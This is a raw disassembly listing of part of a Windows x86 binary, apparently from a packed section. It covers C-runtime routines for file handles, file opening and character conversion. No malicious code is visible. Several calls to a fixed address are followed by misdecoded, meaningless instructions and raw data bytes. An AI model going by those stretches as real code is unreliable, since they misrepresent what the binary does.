dd 0F803036Ah, 427C0868h, 0F1E85700h, 83FFFF86h, 858D10C4h
dd 0FFFFFF60h, 427BEC68h, 8DE85000h, 8DFFFF8Fh, 0FFFF6085h
dd 0E85057FFh, 0FFFF8F90h, 0FF60858Dh, 0E868FFFFh, 5000427Bh
dd 0FF8F7FE8h, 4CB6FFFFh, 8D00442Eh, 0FFFF6085h, 6DE850FFh
dd 68FFFF8Fh, 12010h, 0FF60858Dh, 0C068FFFFh, 5000427Bh
dd 16A4E8h, 2CC48300h
db 5Fh, 0EBh, 26h
; ---------------------------------------------------------------------------
loc_42360F: ; CODE XREF: sub_4234E5+3Cj
; sub_4234E5+4Dj
lea eax, [ebp+arg_0]
lea esi, off_442E4C[esi]
push 0
push eax
push dword ptr [esi]
call sub_41B890
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call near ptr 0B40000h
rcl byte ptr [eax-18h], 1
int 3 ; Trap to Debugger
leave
jno short $+2
loc_423634: ; CODE XREF: sub_4234E5+2Ej
; sub_4234E5+59j
adc ebx, [esi-37h]
retn
sub_4234E5 endp
; =============== S U B R O U T I N E =======================================
sub_423638 proc near ; CODE XREF: sub_423896:loc_423A0Ep
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4E1820
loc_423647: ; CODE XREF: sub_423638+48j
mov eax, [ecx]
test eax, eax
jz short loc_423684
lea edx, [eax+100h]
loc_423653: ; CODE XREF: sub_423638+28j
cmp eax, edx
jnb short loc_423673
test byte ptr [eax+4], 1
jz short loc_423662
add eax, 8
jmp short loc_423653
; ---------------------------------------------------------------------------
loc_423662: ; CODE XREF: sub_423638+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4236C7
loc_423673: ; CODE XREF: sub_423638+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4E1920
jl short loc_423647
jmp short loc_4236C7
; ---------------------------------------------------------------------------
loc_423684: ; CODE XREF: sub_423638+13j
mov esi, 100h
push esi
call sub_41BBCB
test eax, eax
pop ecx
jz short loc_4236C7
add dword_4E1920, 20h
lea ecx, ds:4E1820h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_4236AA: ; CODE XREF: sub_423638+88j
cmp eax, edx
jnb short loc_4236C2
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_4236AA
; ---------------------------------------------------------------------------
loc_4236C2: ; CODE XREF: sub_423638+74j
shl edi, 5
mov ebx, edi
loc_4236C7: ; CODE XREF: sub_423638+39j
; sub_423638+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_423638 endp
; ---------------------------------------------------------------------------
loc_4236CD: ; CODE XREF: sub_423896+1F4p
mov eax, [esp+4]
push esi
cmp eax, dword_4E1920
push edi
jnb short loc_42372D
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4E1820h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_42372D
cmp dword_442554, 1
push ebx
mov ebx, [esp+14h]
jnz short near ptr loc_423722+1
sub eax, 0
jz short loc_42371A
dec eax
jz short loc_423715
dec eax
jnz short near ptr loc_423722+1
push ebx
push 0FFFFFFF4h
jmp short loc_42371D
; ---------------------------------------------------------------------------
loc_423715: ; CODE XREF: .nsp0:0042370Bj
push ebx
push 0FFFFFFF5h
jmp short loc_42371D
; ---------------------------------------------------------------------------
loc_42371A: ; CODE XREF: .nsp0:00423708j
push ebx
push 0FFFFFFF6h
loc_42371D: ; CODE XREF: .nsp0:00423713j
; .nsp0:00423718j
call near ptr 0B40000h
loc_423722: ; CODE XREF: .nsp0:00423703j
; .nsp0:0042370Ej
sbb [ebx+301C8907h], cl
xor eax, eax
pop ebx
jmp short loc_423741
; ---------------------------------------------------------------------------
loc_42372D: ; CODE XREF: .nsp0:004236D9j
; .nsp0:004236F5j
and dword_4E14FC, 0
mov dword_4E14F8, 9
or eax, 0FFFFFFFFh
loc_423741: ; CODE XREF: .nsp0:0042372Bj
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_423744 proc near ; CODE XREF: sub_41E142+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4E1920
push edi
jnb short loc_4237A7
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4E1820h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_4237A7
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_4237A7
cmp dword_442554, 1
jnz short loc_42379D
xor eax, eax
sub ecx, eax
jz short loc_423794
dec ecx
jz short loc_42378F
dec ecx
jnz short loc_42379D
push eax
push 0FFFFFFF4h
jmp short loc_423797
; ---------------------------------------------------------------------------
loc_42378F: ; CODE XREF: sub_423744+41j
push eax
push 0FFFFFFF5h
jmp short loc_423797
; ---------------------------------------------------------------------------
loc_423794: ; CODE XREF: sub_423744+3Ej
push eax
push 0FFFFFFF6h
loc_423797: ; CODE XREF: sub_423744+49j
; sub_423744+4Ej
call near ptr 0B40000h
das
loc_42379D: ; CODE XREF: sub_423744+38j
; sub_423744+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_4237BB
; ---------------------------------------------------------------------------
loc_4237A7: ; CODE XREF: sub_423744+Cj
; sub_423744+2Aj ...
and dword_4E14FC, 0
mov dword_4E14F8, 9
or eax, 0FFFFFFFFh
loc_4237BB: ; CODE XREF: sub_423744+61j
pop edi
pop esi
retn
sub_423744 endp
; =============== S U B R O U T I N E =======================================
sub_4237BE proc near ; CODE XREF: sub_41E142+32p
; sub_41E142+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4E1920
jnb short loc_4237E6
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4E1820[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4237E6
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4237E6: ; CODE XREF: sub_4237BE+Aj
; sub_4237BE+23j
and dword_4E14FC, 0
mov dword_4E14F8, 9
or eax, 0FFFFFFFFh
retn
sub_4237BE endp
; =============== S U B R O U T I N E =======================================
sub_4237FB proc near ; CODE XREF: sub_41E220+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4E1920
jnb short loc_423844
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4E1820[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_423844
push eax
call sub_4237BE
pop ecx
push eax
call near ptr 0B40000h
sbb [ebp-0F78A40h], al
adc eax, offset dword_42708C
jmp short loc_42383B
; ---------------------------------------------------------------------------
xor eax, eax
loc_42383B: ; CODE XREF: sub_4237FB+3Cj
test eax, eax
jz short locret_423851
mov dword_4E14FC, eax
loc_423844: ; CODE XREF: sub_4237FB+Aj
; sub_4237FB+22j
mov dword_4E14F8, 9
or eax, 0FFFFFFFFh
locret_423851: ; CODE XREF: sub_4237FB+42j
retn
sub_4237FB endp
; =============== S U B R O U T I N E =======================================
sub_423852 proc near ; CODE XREF: sub_41EEA8+32p
; sub_41F3EF+6Cp ...
arg_0 = dword ptr 4
inc dword_4E15C8
push 1000h
call sub_41BBCB
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_42387B
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_42388C
; ---------------------------------------------------------------------------
loc_42387B: ; CODE XREF: sub_423852+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_42388C: ; CODE XREF: sub_423852+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_423852 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423896 proc near ; CODE XREF: sub_41F192+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_4238BC
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_4238C7
; ---------------------------------------------------------------------------
loc_4238BC: ; CODE XREF: sub_423896+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_4238C7: ; CODE XREF: sub_423896+24j
mov eax, 8000h
test ecx, eax
jnz short loc_4238E1
test ch, 40h
jnz short loc_4238DD
cmp dword_4E17E8, eax
jz short loc_4238E1
loc_4238DD: ; CODE XREF: sub_423896+3Dj
or [ebp+var_1], 80h
loc_4238E1: ; CODE XREF: sub_423896+38j
; sub_423896+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_423919
dec eax
jz short loc_423910
dec eax
jz short loc_423907
loc_4238F2: ; CODE XREF: sub_423896+9Fj
; sub_423896+E8j ...
mov dword_4E14F8, 16h
mov dword_4E14FC, ebx
jmp loc_423B2C
; ---------------------------------------------------------------------------
loc_423907: ; CODE XREF: sub_423896+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_423920
; ---------------------------------------------------------------------------
loc_423910: ; CODE XREF: sub_423896+57j
mov [ebp+var_C], 40000000h
jmp short loc_423920
; ---------------------------------------------------------------------------
loc_423919: ; CODE XREF: sub_423896+54j
mov [ebp+var_C], 80000000h
loc_423920: ; CODE XREF: sub_423896+78j
; sub_423896+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_42394E
cmp eax, 20h
jz short loc_423945
cmp eax, 30h
jz short loc_42393C
cmp eax, 40h
jnz short loc_4238F2
mov [ebp+var_10], esi
jmp short loc_423951
; ---------------------------------------------------------------------------
loc_42393C: ; CODE XREF: sub_423896+9Aj
mov [ebp+var_10], 2
jmp short loc_423951
; ---------------------------------------------------------------------------
loc_423945: ; CODE XREF: sub_423896+95j
mov [ebp+var_10], 1
jmp short loc_423951
; ---------------------------------------------------------------------------
loc_42394E: ; CODE XREF: sub_423896+90j
mov [ebp+var_10], ebx
loc_423951: ; CODE XREF: sub_423896+A4j
; sub_423896+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_42399B
jz short loc_423996
cmp ecx, ebx
jz short loc_423996
cmp ecx, edi
jz short loc_42398D
cmp ecx, 200h
jz short loc_4239B4
cmp ecx, 300h
jnz loc_4238F2
mov [ebp+var_8], 2
jmp short loc_4239C4
; ---------------------------------------------------------------------------
loc_42398D: ; CODE XREF: sub_423896+D8j
mov [ebp+var_8], 4
jmp short loc_4239C4
; ---------------------------------------------------------------------------
loc_423996: ; CODE XREF: sub_423896+D0j
; sub_423896+D4j
mov [ebp+var_8], esi
jmp short loc_4239C4
; ---------------------------------------------------------------------------
loc_42399B: ; CODE XREF: sub_423896+CEj
cmp ecx, 500h
jz short loc_4239BD
cmp ecx, 600h
jz short loc_4239B4
cmp ecx, edx
jz short loc_4239BD
jmp loc_4238F2
; ---------------------------------------------------------------------------
loc_4239B4: ; CODE XREF: sub_423896+E0j
; sub_423896+113j
mov [ebp+var_8], 5
jmp short loc_4239C4
; ---------------------------------------------------------------------------
loc_4239BD: ; CODE XREF: sub_423896+10Bj
; sub_423896+117j
mov [ebp+var_8], 1
loc_4239C4: ; CODE XREF: sub_423896+F5j
; sub_423896+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_4239E3
mov ecx, dword_4E1500
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_4239E3
push 1
pop esi
loc_4239E3: ; CODE XREF: sub_423896+138j
; sub_423896+148j
test al, 40h
jz short loc_4239F1
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_4239F1: ; CODE XREF: sub_423896+14Fj
test ah, 10h
jz short loc_4239F8
or esi, edi
loc_4239F8: ; CODE XREF: sub_423896+15Ej
test al, 20h
jz short loc_423A04
or esi, 8000000h
jmp short loc_423A0E
; ---------------------------------------------------------------------------
loc_423A04: ; CODE XREF: sub_423896+164j
test al, 10h
jz short loc_423A0E
or esi, 10000000h
loc_423A0E: ; CODE XREF: sub_423896+16Cj
; sub_423896+170j
call sub_423638
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_423A2F
and dword_4E14FC, 0
mov dword_4E14F8, 18h
jmp short loc_423A6D
; ---------------------------------------------------------------------------
loc_423A2F: ; CODE XREF: sub_423896+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_4270EC ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_423A60
push esi
call near ptr 0B40000h
rep test eax, eax
jnz short loc_423A74
push esi
call dword_42706C ; CloseHandle
loc_423A60: ; CODE XREF: sub_423896+1B6j
call dword_42708C ; RtlGetLastWin32Error
push eax
call sub_420244
pop ecx
loc_423A6D: ; CODE XREF: sub_423896+197j
mov eax, edi
jmp loc_423B4A
; ---------------------------------------------------------------------------
loc_423A74: ; CODE XREF: sub_423896+1C1j
cmp eax, 2
jnz short loc_423A7F
or [ebp+var_1], 40h
jmp short loc_423A88
; ---------------------------------------------------------------------------
loc_423A7F: ; CODE XREF: sub_423896+1E1j
cmp eax, 3
jnz short loc_423A88
or [ebp+var_1], 8
loc_423A88: ; CODE XREF: sub_423896+1E7j
; sub_423896+1ECj
push esi
push ebx
call loc_4236CD
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4E1820h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_423B31
test al, 80h
jz short loc_423B31
test byte ptr [ebp+arg_4], 2
jz short loc_423B31
push 2
push 0FFFFFFFFh
push ebx
call sub_42261C
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_423AE6
cmp dword_4E14FC, 83h
jz short loc_423B31
jmp short loc_423B25
; ---------------------------------------------------------------------------
loc_423AE6: ; CODE XREF: sub_423896+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41EF81
add esp, 0Ch
test eax, eax
jnz short loc_423B13
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_423B13
push [ebp+var_10]
push ebx
call loc_424D36
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_423B25
loc_423B13: ; CODE XREF: sub_423896+265j
; sub_423896+26Bj
push 0
push 0
push ebx
call sub_42261C
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_423B31
loc_423B25: ; CODE XREF: sub_423896+24Ej
; sub_423896+27Bj
push ebx
call sub_41E142
pop ecx
loc_423B2C: ; CODE XREF: sub_423896+6Cj
or eax, 0FFFFFFFFh
jmp short loc_423B4A
; ---------------------------------------------------------------------------
loc_423B31: ; CODE XREF: sub_423896+221j
; sub_423896+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_423B48
test byte ptr [ebp+arg_4], 8
jz short loc_423B48
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_423B48: ; CODE XREF: sub_423896+29Fj
; sub_423896+2A5j
mov eax, ebx
loc_423B4A: ; CODE XREF: sub_423896+1D9j
; sub_423896+299j
pop edi
pop esi
pop ebx
leave
retn
sub_423896 endp
; ---------------------------------------------------------------------------
loc_423B4F: ; CODE XREF: sub_41F37A+5Ep
; .nsp0:0041FFE7p
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C28
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov eax, dword_4E16E4
xor ebx, ebx
cmp eax, ebx
jnz short loc_423BBE
lea eax, [ebp-1Ch]
push eax
push 1
pop esi
push esi
push offset dword_427918
push esi
call dword_427020 ; GetStringTypeW
test eax, eax
jz short loc_423B9C
mov eax, esi
jmp short loc_423BB9
; ---------------------------------------------------------------------------
loc_423B9C: ; CODE XREF: .nsp0:00423B96j
lea eax, [ebp-1Ch]
push eax
push esi
push offset dword_4D10A8
push esi
push ebx
call near ptr 0B40000h
and [ebp-317BF040h], eax
; ---------------------------------------------------------------------------
db 0
dd 26A0000h
; ---------------------------------------------------------------------------
pop eax
loc_423BB9: ; CODE XREF: .nsp0:00423B9Aj
mov dword_4E16E4, eax
loc_423BBE: ; CODE XREF: .nsp0:00423B7Ej
cmp eax, 2
jnz short loc_423BE7
mov eax, [ebp+1Ch]
cmp eax, ebx
jnz short loc_423BCF
mov eax, dword_4E15B0 ; CODE XREF: .nsp0:00423BE1j
loc_423BCF: ; CODE XREF: .nsp0:00423BC8j
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push eax
call near ptr 0B40000h
js short near ptr loc_423BCA+2
lahf
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_423BE7: ; CODE XREF: .nsp0:00423BC1j
cmp eax, 1
jnz loc_423C84
cmp [ebp+18h], ebx
jnz short loc_423BFD
mov eax, dword_4E15C0
mov [ebp+18h], eax
loc_423BFD: ; CODE XREF: .nsp0:00423BF3j
push ebx
push ebx
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
mov eax, [ebp+20h]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push dword ptr [ebp+18h]
call dword_427184 ; MultiByteToWideChar
mov [ebp-20h], eax
cmp eax, ebx
jz short loc_423C84
mov [ebp-4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41C1D0
mov [ebp-18h], esp
mov esi, esp
mov [ebp-24h], esi
push edi
push ebx
push esi
call sub_41BC40
add esp, 0Ch
jmp short loc_423C53
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor ebx, ebx
xor esi, esi
loc_423C53: ; CODE XREF: .nsp0:00423C46j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_423C84
push dword ptr [ebp-20h]
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push 1
push dword ptr [ebp+18h]
call dword_427184 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_423C84
push dword ptr [ebp+14h]
push eax
push esi
push dword ptr [ebp+8]
call dword_427020 ; GetStringTypeW
jmp short loc_423C86
; ---------------------------------------------------------------------------
loc_423C84: ; CODE XREF: .nsp0:00423BEAj
; .nsp0:00423C1Fj ...
xor eax, eax
loc_423C86: ; CODE XREF: .nsp0:00423C82j
lea esp, [ebp-34h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_423C98 proc near ; CODE XREF: sub_41F3EF+61p
; sub_4202AB+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4E1920
jb short loc_423CA7
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_423CA7: ; CODE XREF: sub_423C98+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4E1820[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_423C98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CBE proc near ; CODE XREF: sub_41F504+2D4p
; sub_41F504+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_423CCA
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423CCA: ; CODE XREF: sub_423CBE+8j
cmp dword_4E15B0, 0
jnz short loc_423CE5
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_423D17
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423CE5: ; CODE XREF: sub_423CBE+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_44276C
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4E15C0
call dword_427180 ; WideCharToMultiByte
test eax, eax
jz short loc_423D17
cmp [ebp+arg_0], 0
jz short loc_423D24
loc_423D17: ; CODE XREF: sub_423CBE+1Ej
; sub_423CBE+51j
mov dword_4E14F8, 2Ah
or eax, 0FFFFFFFFh
loc_423D24: ; CODE XREF: sub_423CBE+57j
pop ebp
retn
sub_423CBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423D26 proc near ; CODE XREF: sub_420375+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_423D49
cmp [ebp+arg_8], ebx
jz short loc_423D49
mov al, [esi]
cmp al, bl
jnz short loc_423D4F
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_423D49
mov [eax], bx
loc_423D49: ; CODE XREF: sub_423D26+Cj
; sub_423D26+11j ...
xor eax, eax
loc_423D4B: ; CODE XREF: sub_423D26+42j
; sub_423D26+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423D4F: ; CODE XREF: sub_423D26+17j
cmp dword_4E15B0, ebx
jnz short loc_423D6A
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_423D65
movzx ax, al
mov [ecx], ax
loc_423D65: ; CODE XREF: sub_423D26+36j
; sub_423D26+C0j
push 1
pop eax
jmp short loc_423D4B
; ---------------------------------------------------------------------------
loc_423D6A: ; CODE XREF: sub_423D26+2Fj
mov ecx, off_442560
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_423DC7
mov eax, dword_44276C
cmp eax, 1
jle short loc_423DAE
cmp [ebp+arg_8], eax
jl short loc_423DB8
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4E15C0
call dword_427184 ; MultiByteToWideChar
test eax, eax
mov eax, dword_44276C
jnz short loc_423D4B
loc_423DAE: ; CODE XREF: sub_423D26+5Cj
cmp [ebp+arg_8], eax
jb short loc_423DB8
cmp [esi+1], bl
jnz short loc_423D4B
loc_423DB8: ; CODE XREF: sub_423D26+61j
; sub_423D26+8Bj ...
mov dword_4E14F8, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_423D4B
; ---------------------------------------------------------------------------
loc_423DC7: ; CODE XREF: sub_423D26+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4E15C0
call dword_427184 ; MultiByteToWideChar
test eax, eax
jnz loc_423D65
jmp short loc_423DB8
sub_423D26 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_423DF0 proc near ; CODE XREF: sub_420375+797p
; sub_420375+7E7p
cmp cl, 40h
jnb short loc_423E0A
cmp cl, 20h
jnb short loc_423E00
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_423E00: ; CODE XREF: sub_423DF0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_423E0A: ; CODE XREF: sub_423DF0+3j
xor eax, eax
xor edx, edx
retn
sub_423DF0 endp
; =============== S U B R O U T I N E =======================================
sub_423E0F proc near ; CODE XREF: sub_420DEB+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_423E5B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_423E2D
test al, 80h
jz short loc_423E5B
test al, 2
jnz short loc_423E5B
loc_423E2D: ; CODE XREF: sub_423E0F+14j
cmp dword ptr [esi+8], 0
jnz short loc_423E3A
push esi
call sub_423852
pop ecx
loc_423E3A: ; CODE XREF: sub_423E0F+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_423E4A
cmp dword ptr [esi+4], 0
jnz short loc_423E5B
inc eax
mov [esi], eax
loc_423E4A: ; CODE XREF: sub_423E0F+30j
test byte ptr [esi+0Ch], 40h
jz short loc_423E61
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_423E67
inc eax
mov [esi], eax
loc_423E5B: ; CODE XREF: sub_423E0F+9j
; sub_423E0F+18j ...
or eax, 0FFFFFFFFh
loc_423E5E: ; CODE XREF: sub_423E0F+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_423E61: ; CODE XREF: sub_423E0F+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_423E67: ; CODE XREF: sub_423E0F+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_423E5E
sub_423E0F endp
; =============== S U B R O U T I N E =======================================
sub_423E7D proc near ; CODE XREF: sub_4213DB+52p
xor eax, eax
retn
sub_423E7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423E80 proc near ; CODE XREF: sub_423EB5+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_423ECB
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_423F5D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_423E80 endp
; =============== S U B R O U T I N E =======================================
sub_423EB5 proc near ; CODE XREF: sub_4216C7+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_423E80
pop ecx
pop ecx
retn
sub_423EB5 endp
; =============== S U B R O U T I N E =======================================
sub_423ECB proc near ; CODE XREF: sub_423E80+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_423EDC
push 10h
pop eax
loc_423EDC: ; CODE XREF: sub_423ECB+Cj
test bl, 4
jz short loc_423EE3
or al, 8
loc_423EE3: ; CODE XREF: sub_423ECB+14j
test bl, 8
jz short loc_423EEA
or al, 4
loc_423EEA: ; CODE XREF: sub_423ECB+1Bj
test bl, 10h
jz short loc_423EF1
or al, 2
loc_423EF1: ; CODE XREF: sub_423ECB+22j
test bl, 20h
jz short loc_423EF8
or al, 1
loc_423EF8: ; CODE XREF: sub_423ECB+29j
test bl, 2
jz short loc_423F02
or eax, 80000h
loc_423F02: ; CODE XREF: sub_423ECB+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_423F3A
cmp edx, 400h
jz short loc_423F37
cmp edx, 800h
jz short loc_423F33
cmp edx, esi
jnz short loc_423F3A
or eax, edi
jmp short loc_423F3A
; ---------------------------------------------------------------------------
loc_423F33: ; CODE XREF: sub_423ECB+5Ej
or eax, ebp
jmp short loc_423F3A
; ---------------------------------------------------------------------------
loc_423F37: ; CODE XREF: sub_423ECB+56j
or ah, 1
loc_423F3A: ; CODE XREF: sub_423ECB+4Ej
; sub_423ECB+62j ...
and ecx, edi
pop esi
jz short loc_423F4A
cmp ecx, ebp
jnz short loc_423F4F
or eax, 10000h
jmp short loc_423F4F
; ---------------------------------------------------------------------------
loc_423F4A: ; CODE XREF: sub_423ECB+72j
or eax, 20000h
loc_423F4F: ; CODE XREF: sub_423ECB+76j
; sub_423ECB+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_423F5C
or eax, 40000h
locret_423F5C: ; CODE XREF: sub_423ECB+8Aj
retn
sub_423ECB endp
; =============== S U B R O U T I N E =======================================
sub_423F5D proc near ; CODE XREF: sub_423E80+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_423F6D
push 1
pop eax
loc_423F6D: ; CODE XREF: sub_423F5D+Bj
test bl, 8
jz short loc_423F74
or al, 4
loc_423F74: ; CODE XREF: sub_423F5D+13j
test bl, 4
jz short loc_423F7B
or al, 8
loc_423F7B: ; CODE XREF: sub_423F5D+1Aj
test bl, 2
